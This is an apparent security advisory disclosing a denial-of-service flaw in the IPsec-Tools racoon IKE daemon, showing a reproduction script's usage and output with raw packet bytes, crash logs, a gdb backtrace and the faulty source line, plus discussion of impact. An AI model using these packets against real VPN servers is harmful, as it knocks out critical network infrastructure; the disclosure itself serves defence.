IPsec-Tools 0-day Exploit [sig]
Paper for people who are not the target audience of this security advisory (professionals using IPsec-Tools).
IPsec-tools is vulnerable to a 0-day exploit that I am making available today. It is a null dereference crash, so it's a denial of service against the IKE daemon. You may gawk and say that it doesn't deserve a medium rating, but remember that IPsec is critical infrastructure and this attack requires two small UDP packets. This denial of service violates the premise that security is built upon. It is easily detectable if logs are turned on or if users disconnect and reconnect regularly. It may be possible to create an Intrusion Detection/Prevention (IDP) signature, but more likely you will have to run a honeypot to detect a sophisticated attacker. If you're running IPsec-tools, replace it sensibly as soon as possible. Do not replace it with Openswan or Freeswan and do not replace it with an old unpatched version of another IPsec implementation.
IPsec-tools 0-day Exploit [sig]
Usage:
python3 repro_racoon_dos129.py
Warning: Unable to bind to port 500. Might not work. [Errno 13] Permission denied
Umm, okay.
129 ('\x81\xcf{r\x8e\xb6a\xdd9\xf1\x87cP\xb1\x05\xc7\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x98\r\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x000\x01\x01\x00\x01\x00\x00\x00(\x01\x01\x00\x00\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x01Q\x80\x80\x01\x00\x07\x80\x0e\x01\x00\x80\x03\x00\x03\x80\x02\x00\x02\x80\x04\x00\x05\r\x00\x00\x14J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/\r\x00\x00\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00\x00\x00\x00\x18@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80\x00\x00\x00', ('192.168.88.247', 500))
129 sending second packet
Umm, okay.
What it looks like on the server:
sudo racoon -F -v -f server_racoon.conf >server_dos5m.txt 2>&1 &
jvoss@ipsecu:~$ dmesg |tail
[ 584.440533] AVX or AES-NI instructions are not detected.
[ 584.442253] AVX or AES-NI instructions are not detected.
[ 584.490468] AVX instructions are not detected.
[13683.867215] init: upstart-udev-bridge main process (361) terminated with status 1
[13683.867223] init: upstart-udev-bridge main process ended, respawning
[13683.867307] init: upstart-file-bridge main process (452) terminated with status 1
[13683.867313] init: upstart-file-bridge main process ended, respawning
[13683.867386] init: upstart-socket-bridge main process (616) terminated with status 1
[13683.867392] init: upstart-socket-bridge main process ended, respawning
[19912.460170] racoon[3701]: segfault at 100 ip 00007fe0eba84ce7 sp 00007ffff51db730 error 4 in racoon[7fe0eba5e000+93000]
2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00
2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION
2015-04-27 15:22:14: INFO: received Vendor ID: DPD
2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947
2015-04-27 15:22:14: [169.254.44.43] ERROR: ignore the packet, received unexpecting payload type 128.
2015-04-27 15:22:14: INFO: respond new phase 1 negotiation: 169.254.88.251[500]<=>169.254.44.43[42258]
2015-04-27 15:22:14: INFO: begin Identity Protection mode.
2015-04-27 15:22:14: INFO: received Vendor ID: RFC 3947
2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02
2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02
2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00
2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION
2015-04-27 15:22:14: INFO: received Vendor ID: DPD
2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947
Program received signal SIGSEGV, Segmentation fault.
0x000055555557ace7 in ?? ()
(gdb) bt
#0 0x000055555557ace7 in ?? ()
#1 0x000055555557b775 in ?? ()
#2 0x000055555556c1a1 in ?? ()
#3 0x0000555555563fd1 in ?? ()
#4 0x00005555555658ec in ?? ()
#5 0x000055555555fc9d in ?? ()
#6 0x000055555555f273 in ?? ()
#7 0x00007ffff6953ec5 in __libc_start_main (main=0x55555555f010, argc=5, argv=0x7fffffffe738, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at libc-start.c:287
#8 0x000055555555f3ec in ?? ()
(gdb) x/15i $rip - 12
0x55555557acdb: mov %eax,0x1c8(%rsp)
0x55555557ace2: mov 0x28(%r12),%rax
=> 0x55555557ace7: mov 0x100(%rax),%rax
0x55555557acee: mov 0x30(%rax),%rax
0x55555557acf2: test %rax,%rax
0x55555557acf5: je 0x55555557af00
0x55555557acfb: mov (%rax),%rdx
0x55555557acfe: lea 0x20(%rsp),%r13
0x55555557ad03: mov 0x8(%rax),%rax
0x55555557ad07: lea 0x1c(%rsp),%rbx
0x55555557ad0c: lea 0x30(%rsp),%rsi
0x55555557ad11: mov %r13,%rcx
0x55555557ad14: mov %rdx,0x30(%rsp)
0x55555557ad19: mov %rbx,%rdi
0x55555557ad1c: xor %edx,%edx
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x5555558dbe40 93824995933760
rdx 0x5555558dbe40 93824995933760
rsi 0x0 0
rdi 0x5555558dbdc0 93824995933632
rbp 0x5555558dbdc0 0x5555558dbdc0
rsp 0x7fffffffd180 0x7fffffffd180
r8 0x5555558dbdc0 93824995933632
r9 0x7ffff6cf07b8 140737334151096
r10 0xbdb00 776960
r11 0x5555558da301 93824995926785
r12 0x5555558da300 93824995926784
r13 0x555555822460 93824995173472
r14 0x5555558da420 93824995927072
r15 0x7fffffffd260 140737488343648
rip 0x55555557ace7 0x55555557ace7
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
if (iph1->rmconf->proposal->gssid != NULL) {Since NetBSD, FreeBSD, Android, and many products use IPsec tools, it would be worthwhile to test them all to find out which are vulnerable and which are not. Android does not compile in GSSAPI according to the Makefile I checked, but since IPsec-tools is no longer being maintained, it should be replaced.
The distrust of IPsec-tools that this vulnerability presents is insurmountable. If you think I'm wrong, point to the maintainer of IPsec-tools.
When the IKE daemon crashes, it may or may not be restarted. If it is restarted, it gives the attacker as many attempts as they want to get the IKE daemon into the startup state. Result: unknown. If it is not restarted, the keys do not get changed. When the IV gets repeated, the stream loses some confidentiality and integrity. Replay becomes easy. Result: possible compromise. If the system decides that the two systems should no longer use IPsec, the system may revert back to IP silently. Result: possible complete compromise. If the system decides to instead stop sending packets to the affected system, this is a complete availability compromise.
When encryption is compromised, the layer below becomes available to the attacker. IPsec was designed to run over public networks, thus attackers are there.
Man-in-the-middle is not theoretical. It is practical and exploitable on WiFi (road-warrior use-case), corporate networks (flat topology corporation use-case), server racks (DMZ/segmented use-case), and backbone routers (ISP use-case).
I am not trying to be alarmist. The odds of someone compromising your entire corporate network based on this vulnerability are low. It will take someone at least 4 hours to attempt to compromise your network based on this exploit.